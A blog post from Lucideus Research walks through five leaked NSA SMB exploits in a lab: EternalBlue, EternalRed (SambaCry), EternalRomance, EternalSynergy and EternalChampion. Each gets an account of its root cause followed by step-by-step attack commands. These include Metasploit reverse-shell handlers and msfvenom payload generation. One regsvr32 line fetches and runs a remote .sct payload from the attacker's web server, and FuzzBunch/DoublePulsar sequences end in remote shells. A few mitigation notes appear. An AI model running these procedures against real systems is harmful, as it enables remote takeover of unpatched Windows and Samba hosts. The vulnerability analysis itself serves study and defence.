The Eternal Exploitation Bible | Lucideus Research


On April 14, 2017, the Shadow Brokers Group released the FUZZBUNCH framework, an exploitation toolkit for Microsoft Windows. The toolkit was allegedly written by the Equation Group, a highly sophisticated threat actor suspected of being tied to the United States National Security Agency (NSA). This documents lists five exploits from Lost in Translation leak namely Eternal Blue, Eternal Red, Eternal Synergy, Eternal Romance, Eternal Champion. These five exploits exploit the Server Message Block (SMB) in Windows and Linux Operating System. I tested and compiled different scripts and modules to find the best and stable methods to exploit these five exploits.

Lab Environment

Eternal Blue : Windows 7 x64 SP1, Windows 8/8.1 Pro
Eternal Red : Kali Linux 2016.2 with vulnerable SAMBA server 
Eternal Romance : Windows Server 2016, Windows 8.1 Pro, Windows 10 Build 10240 
Eternal Synergy : Windows Server 2012
Eternal Champion : Windows XP SP3

Attacker Machine : Kali Linux 2017.2

Eternal Blue: POC I

The SMBv1 server in Microsoft Windows 7 SP1 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability.

What is SMB? 

Server Message Block operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network. It also provides an authenticated inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows.


File Extended Attributes are file system features that enable users to associate computer files with metadata not interpreted by the file system, whereas regular attributes have a purpose strictly defined by the file system (such as permissions or records of creation and modification times). 

It’s a function inside kernel driver SRV.SYS for the SMB protocol.
The Windows SMBv1 implementation is vulnerable to buffer overflow in Large Non-Paged kernel Pool memory through the processing of File Extended Attributes (FEAs) in the kernel function,srv!SrvOs2FeaListToNt.

The function srv!SrvOs2FeaListToNt will call srv!SrvOs2FeaListSizeToNt to calculate the received FEA LIST size before converting it to NTFEA (Windows NT FEA) list. The following sequence of operations happens:
  • srv!SrvOs2FeaListSizeToNt will calculate the FEA List size and update the received FEA List size 
  • The resulting FEA size is greater than the original value because a wrong WORD cast 
  • When the FEA List is iterated to be converted to NTFEA LIST, there will be an overflow in the non-page pool because the original total size of list is miscalculated. 

Memory Pools The memory manager creates the following memory pools that the system uses to allocate memory: nonpaged pool and paged pool. Both memory pools are located in the region of the address space that is reserved for the system and mapped into the virtual address space of each process. 

Non-Paged Pool 
The nonpaged pool consists of virtual memory addresses that are guaranteed to reside in physical memory as long as the corresponding kernel objects are allocated.

Paged Pool 
The paged pool consists of virtual memory that can be paged in and out of the system. To improve performance, systems with a single processor have three paged pools, and multiprocessor systems have five paged pools.

The srvnet.sys file is an instance of driver process and a Windows program, called by the service name Server Network.

Windows Kernel Pool Spraying
Pool spraying is the art of making the allocations in the pool predictable. It means you’ll be able to know where a chunk will be allocated, and which chunks are around.
This is mandatory if you want to leak some precise informations, or overwrite specific data.

Heap spray of kernel memory structure.

Heap Spray
Heap spraying is a technique to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the processes heap and fill the bytes in these blocks with the right values.

Pool Headers
Each memory allocation is preceded by a small header which helps to keep track of its size and purported owner. This header is called the POOL HEADER.

Overflow Overview
The overflow happens in NON-PAGED Pool memory—and specifically in Large NON-PAGED Pool. Large non-paged pool do not have a POOL Header. Because of this, after the large POOL buffer, another POOL Buffer can be allocated—one that is owned by a driver with specific DRIVER data.

Therefore, the attack has to manipulate the POOL buffer coming after the overflowed buffer. EternalBlue’s technique is to control the SRVNET driver buffer structures. To achieve this, both buffers should be aligned in memory. To create the NON-PAGED POOL alignment, the kernel pool should be sprayed. The technique is as follows:
  • Create multiple SRVNET buffers (grooming the pool) 
  • Free some of the buffers to create some holes where the SRV buffer will be copied 
  • Send the SRV buffer to overflow the SRVNET buffer. 
We will exploit Windows 8.1 Pro using Eternal Blue

Step 1: Setup Metasploit 

#use exploit/multi/handler
#set payload windows/x64/shell/reverse_tcp
#set LHOST <Internal IP>

Step 2 : Generate Shellcode

#nasm -f bin eternalblue_kshellcode_x64.asm

Netwide Assembler is an assembler based on 80x86 Assembly Language and supports .asm file format.
-f -> Option for file format
bin -> Binary File Format

This command converts assembly shellcode to hex shellcode.

#msfvenom -p windows/x64/shell/reverse_tcp lhost=<Internal IP> lport=<Port> -f raw > msf.bin 

#cat eternalblue_kshellcode_x64 msf.bin > shell.bin 
We generate a new shellcode file by combining reverse shell with eternalblue shellcode.

Step 3 : Exploit

#python <Target IP> <Path to shell.bin> <Groom Connections> 

For Windows 8.1 Pro we use 13 Groom Connections for a stable exploit, changing the number of groom connections can crash the target.


We get a shell session after successful execution of the exploit. 

Eternal Red : POC II


Eternal Red is also known as SambaCry Exploit. 

Samba provides file and print services for various Microsoft Windows clients and can integrate with a Microsoft Windows Server domain, either as a Domain Controller (DC) or as a domain member. As of version 4, it supports Active Directory and Microsoft Windows NT domains.

Samba in 4.5.9 version and before that is vulnerable to a remote code execution vulnerability named SambaCry. CVE-2017-7494 allows remote authenticated users to upload a shared library to a writable shared folder, and perform code execution attacks to take control of servers that host vulnerable Samba services.

Samba 3.x after 3.5.0 and 4.x before 4.4.14, 4.5.x before 4.5.10, and 4.6.x before 4.6.4 does not restrict the file path when using Windows named pipes, which allows remote authenticated users to upload a shared library to a writable shared folder, and execute arbitrary code via a crafted named pipe.

InterProcess Communication
Interprocess communication (IPC) refers to the mechanisms an operating system provides to allow the processes to manage shared data. Typically, applications can use IPC, categorized as clients and servers, where the client requests data and the server responds to client requests. 

Named Pipes
A named pipe is an extension to the traditional pipe concept on Unix and Unix-like systems, and is one of the methods of Interprocess Communication (IPC). The concept is also found in Microsoft Windows. A traditional pipe is "unnamed" and lasts only as long as the process. A named pipe, however, can last as long as the system is up, beyond the life of the process.

SMBD is the server daemon that provides file sharing and printing services to Windows clients. The server provides filespace and printer services to clients using the SMB (or CIFS) protocol.

Microsoft Remote Procedure Call
Microsoft Remote Procedure Call (RPC) is a powerful technology for creating distributed client/server programs. RPC is an interprocess communication technique that allows client and server software to communicate.

The vulnerability allows an attacker to run an arbitrary code using a shared object which is loaded into Samba ‘smbd’ process. Assuming that one has an access to a remote share (either as guest or as an authenticated user), one can upload a shared object and then exploit the vulnerability to make ‘smbd’ service load it.

The crux of the bug lies in the implementation of the MSRPC (Microsoft RPC) protocol inside Samba service:

MSRPC protocol allows to connect to a named pipe from remote destination. When trying to open a pipe using MSRPC on Samba, the server verifies the validity of the pipe name using the internal function is_known_pipename().

An external RPC server can be set using the ‘rpc_server’ variable inside smb.conf and then it will handle the pipe request.

The function is_known_pipename() doesn’t check that the pipe is valid, this allows to use ‘/’ to insert a full path of an arbitrary library.

Samba is_known_pipename() Arbitrary Module Load
This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module requires valid credentials, a writable folder in an accessible share, and knowledge of the server-side path of the writable folder. In some cases, anonymous access combined with common filesystem locations can be used to automatically exploit this vulnerability.


Step 1 : Setup Metasploit

#use exploit/linux/samba/is_known_pipename

#set RHOST <Target IP> 

We get a command shell session. 

Mitigation Update Samba Server to latest version
Add the parameter:
nt pipe support = no
to the [global] section of your smb.conf and restart smbd. This prevents clients from accessing any named pipe endpoints. Note this can disable some expected functionality for Windows clients.

Eternal Romance : POC III


Eternalromance is another SMBv1 exploit from the leaked NSA exploit collection and targets Windows XP/Vista/7 and Windows Server 2003, Windows Server 2008 and Windows Server 2016.

EternalRomance exploits SMB just like EternalBlue, but to exploit successfully we have to send a payload using SMB and execute it remotely. To achieve this we use regsvr32 service which is inbuilt in windows and download the payload from a web-server in form of .sct file format.

regsvr32 (Microsoft Register Server) is a command-line utility in Microsoft Windows operating systems for registering and unregistering DLLs and ActiveX controls in the Windows Registry.

.sct File Format
.sct file is a Windows Scriptlet file.
A scriptlet is a component for the Web. They are a standard feature of Internet Explorer 4.0. As designed, Scriptlets combine the benefits of component programming with Dynamic HTML and script.

In our case the .sct file generated by ps1encode contains a Powershell Alphanumeric shellcode.

Scrobj.dll is a Windows Script Component Runtime DLL.

It is essential for our index.sct, if this dll file is corrupted or deleted in the target system index.sct will not be executed and the exploit will not run.

Step 1 : Generate Payload using ps1encode
Used to generate and encode a powershell based metasploit payloads.

#ruby ps1encode.rb --PAYLOAD=windows/meterpreter/reverse_https --LHOST=<Internal IP> --LPORT=<Port> --ENCODE=sct

URL: http://<Internal IP>

#cp index.sct /var/www/html 

#service apache2 start 

#nano /root/eternalromance/

Go near line 921 and add

service_exec(conn, r 'regsvr32 /s/n/u /i:http://<Internal IP>/index.sct scrobj.dll')

Go near line 34 and 35
Edit USERNAME = ‘Guest’
Edit PASSWORD = ‘’

Step 3 : Setup Metasploit

#use exploit/multi/handler
#set payload windows/meterpreter/reverse_https
#set LHOST <Internal IP>

Step 4 : Exploit 

#python <Target IP>

Exploit needs an active named pipe which it chooses automatically, otherwise we can use Pipe Auditor module in metasploit-framework to find active pipes.

Some common named pipes are : browser, lsass, netlogon, spoolss, samr

We get a meterpreter Session

Turn off Guest account
Turn on password protected file sharing
Update Windows Server 2016 to latest available update. 

Eternal Synergy : POC IV 

Eternal Synergy is an SMBv3 authenticated exploit. Many of the exploitation steps are purely packet-based, as opposed to local shellcode execution. Like the other SMB vulnerabilities, this one was also addressed in MS17-010 as CVE-2017-0143. The exploit works up to Windows 8, but does not work against any newer platforms.


MID (Multiplex ID) 
The MID is assigned by the client. All messages include a MID along with a PID (process ID, see below) to uniquely identify groups of commands belonging to the same logical thread of operation on the client node.

FID (File ID)
A file handle, representing an open file on the server. A FID returned from an Open or Create operation MUST be unique within an SMB connection.

UID (User ID)
A UID represents an authenticated SMB session (including those created using anonymous or guest authentication).

PID (Process ID) The PID is assigned by the client. The client SHOULD set this to a value that identifies the process on the client node that initiated the request.

TID (Tree ID)
A TID represents an open connection to a share, otherwise known as a tree connect.

This request is used to write bytes to a regular file, a named pipe, or a directly accessible I/O device such as a serial port (COM) or printer port (LPT).

The SMB_COM_TRANSACTION_SECONDARY command is used to complete a data transfer initiated by an SMB_COM_TRANSACTION Request.
  1. The root cause of this vulnerability stems from not taking the command type of an SMB message into account when determining if the message is part of a transaction. In other words, as long as the SMB header UID, PID, TID and OtherInfo fields match the corresponding transaction fields, the message would be considered to be part of that transaction.
  2. Usually, the OtherInfo field stores a MID. In the case of SMB_COM_WRITE_ANDX messages, however, it stores a FID instead. This creates a potential message type confusion: Given an existing SMB_COM_WRITE_ANDX transaction, an incoming SMB message with MID equal to the transaction FID would be included in the transaction.
  3. When a SMB message arrives, the appropriate handler will copy its contents into the corresponding transaction buffer, namely InData. The SMB_COM_TRANSACTION_SECONDARY handler assumes that the InData address points to the start of the buffer.
  4. However, in the case of a SMB_COM_WRITE_ANDX transaction, each time a SMB is received for that transaction, the InData address is updated to point to the end of the existing data.
  5. Leveraging the packet confusion, an attacker can insert a SMB_COM_TRANSACTION_SECONDARY message into a SMB_COM_WRITE_ANDX transaction. In that case, the InData will point past the start of the buffer, and so the SMB_COM_TRANSACTION_SECONDARY handler can overflow the buffer during copying the incoming message data.
  6. A series of SMB_COM_TRANSACTION messages are sent in order to allocate a pair of neighboring control-victim transactions. Specifically, "groom” packets contain SMB messages crafted to create the packet confusion, or in other words, eligible to be a control transaction. "Bride" packets create transactions that are candidates for corruption, that is, victim transactions.
  7. The read primitive is exercised multiple times, in order to discover the location of the srv!SrvTransaction2DispatchTable global pointer, used trigger shellcode execution.
  8. The read primitive is again exercised multiple times to discover the base of ntoskrnl.exe. The RWX memory found above is used as a scratch page, where shellcode is written and executed and return values are stored.
  9. First, using the write primitive, the exploit shellcode is copied to the scratch page. Then, a SMB_COM_TRANSACTION2 message is sent to execute the shellcode. The return value is saved at a fixed offset on the scratch page and leaked back to the attacker using the Read Primitive.
  10. Lastly, the scratch page is cleared, the attacker-provided shellcode is written to the pool-allocated page and a message is sent to trigger execution. 
Step 1 : Setup Metasploit

#use exploit/multi/handler
#set payload windows/x64/shell/reverse_tcp 
#set LHOST <Internal IP>

Step 2 : Setup Fuzzbunch

#Default Target IP Address [] : <Target IP>
#Default Callback IP Address [] : <Internal IP>
#Use Redirection [yes] : no

Press Enter
Create a New Project

#use DoublePulsar

Press Enter 5 times

Set x64 architecture : 1

Press Enter once

Set path of output file : c:\shell.bin

Press Enter 3 times

DoublePulsar Succeeds!!!

#use EternalSynergy

Press Enter 6 times

Choose Password in Credentials Menu (Option 3)

Convert Target users Username into Hex format

Enter the Hex value for Username 
Convert Target users Password into Hex format

Enter the Hex Value for Password 

Press Enter 7 times
Enter path to shell.bin : c:\shell.bin

Press Enter once

Press Enter 9 times

EternalSynergy will start executing…

EternalSynergy Succeeds!!!

Switch to terminal and generate a msfvenom payload dll

#msfvenom -p windows/x64/shell/reverse_tcp lhost=<Internal IP> lport=<Port> -f dll > exploit.dll 

Switch to Fuzzbunch

#use DoublePulsar
Press Enter 6 times

Set Function : 2
Set path to DLL Payload : c:\exploit.dll

Press Enter 6 times

DoublePulsar will start executing…


We get a Command Shell Session.

Eternal Champion : POC V 


Eternal Champion is a post authentication SMBv2 exploit targeting Windows XP through Windows 8.

The issue exploited is a race condition in how SMBv2 handles transactions. A transaction is a type of request that can potentially span multiple packets.

For example, if a request is too large to fit in a single server message block (SMB), a transaction can be created of the appropriate size and this transaction will store the data as it is received from multiple SMBs. Note that multiple SMBs can be contained in a single packet, or they can be spread out over multiple packets.

A transaction is first created using a primary request. The data from the request is copied in to the transaction, and the transaction is added to a transaction list for the connection. If all expected data was received, the transaction is immediately executed. Secondary requests can be made to add additional data to the transaction until the transaction has received all expected data.

There is an issue in the case that the primary transaction contains all expected data: The transaction isn’t marked as “being executed”, but is placed in the transaction list, and is sent to the “ExecuteTransaction” function. This means a race is possible: secondary requests can be made (handled on separate threads) that modify the transaction while it is being executed by ExecuteTransaction.

ExecuteTransaction doesn’t expect this to be possible and having transaction data being modified while it is running, combined with loose parameter validation, can result in access violations.


#Default Target IP Address [] : <Target IP>
#Default Callback Address [] : <Internal IP>

#Use Redirection [yes] : no 

Press Enter

Create New Project

#use DoublePulsar

Press Enter 7 times

Enter path of output file : c:\shell.bin

DoublePulsar Succeeds!!!

Copy shell.bin to windows and open it in WinHex program

Copy all Hex Values

#use EternalChampion

Press Enter 14 times

Paste Hex values in shellcodebuffer [] :

Press Enter 4 times

Set Mode FB ( option 1 )

Press Enter 2 times

Eternal Champion Succeeds!!!

Switch to terminal
#msfvenom -p windows/shell/reverse_tcp lhost=<Internal IP> lport=<Port> -f dll > exploit.dll 

Setup Metasploit 

Switch to FuzzBunch 

#use DoublePulsar 

Press Enter 6 times

Set Function 2 (RunDll)

Set path to exploit.dll : c:\exploit.dll

Press Enter 6 times

DoublePulsar Succeeds !!!

We got a Command Shell Session.


No comments:

Powered by Blogger.